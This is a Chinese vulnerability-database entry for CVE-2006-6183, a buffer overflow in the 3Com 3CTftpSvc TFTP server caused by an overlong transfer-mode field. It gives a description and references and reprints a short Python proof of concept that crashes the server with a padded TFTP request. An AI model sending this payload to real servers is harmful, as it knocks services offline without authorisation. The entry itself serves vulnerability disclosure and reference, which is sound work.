3Com TFTP超长传输模式字段远程缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111678 漏洞类型 缓冲区溢出
发布时间 2006-11-27 更新时间 2007-03-01
CVE编号 CVE-2006-6183 CNNVD-ID CNNVD-200611-528
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/2855
https://www.securityfocus.com/bid/21301
https://cxsecurity.com/issue/WLB-2006120002
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-528
|漏洞详情
3CTftpSvc是一款Windows9x/NT/XP平台下的TFTP服务器,实现TFTPv2协议。3CTftpSvc在处理超长畸形的请求时存在漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。3CTftpSvcTFTP服务器在处理传送给GET或PUT命令的超长传输模式(大于470字节)时存在缓冲区溢出。如果攻击者向服务器发送了特制报文请求的话就会触发这个漏洞,导致拒绝服务或执行任意指令。
|漏洞EXP
#!/usr/bin/python
# Buffer Overflow (Long transporting mode) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

# SUMMARY:

# 3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (http://support.3com.com/software/utilities_for_windows_32_bit.htm
# or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip)
# It provides an implementation of the TFTPv2 protocol.

# A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers 
# to execute arbitrary commands or cause a denial of service. This flaw is 
# due to a buffer overflow error when handling an overly long transporting 
# mode (more than 470 bytes) passed to a "GET" or "PUT" command, which could 
# be exploited by malicious users to compromise a vulnerable system or crash 
# an affected application.

# EXPLOIT:

import socket
import sys

host = '192.168.1.11'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

filename = "A"
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))

# milw0rm.com [2006-11-27]
|受影响的产品
3Com TFTP Server 2.0.1
|参考资料

来源:XF
名称:3ctftpsvc-transporting-mode-bo(30545)
链接:http://xforce.iss.net/xforce/xfdb/30545
来源:BID
名称:21322
链接:http://www.securityfocus.com/bid/21322
来源:BID
名称:21301
链接:http://www.securityfocus.com/bid/21301
来源:BUGTRAQ
名称:20061126TFTPServer3CTftpSvcBufferOverflowVulnerability(Longtransportingmode)
链接:http://www.securityfocus.com/archive/1/archive/1/452754/100/0/threaded
来源:VUPEN
名称:ADV-2006-4738
链接:http://www.frsirt.com/english/advisories/2006/4738
来源:SECUNIA
名称:23113
链接:http://secunia.com/advisories/23113
来源:SREASON
名称:1930
链接:http://securityreason.com/securityalert/1930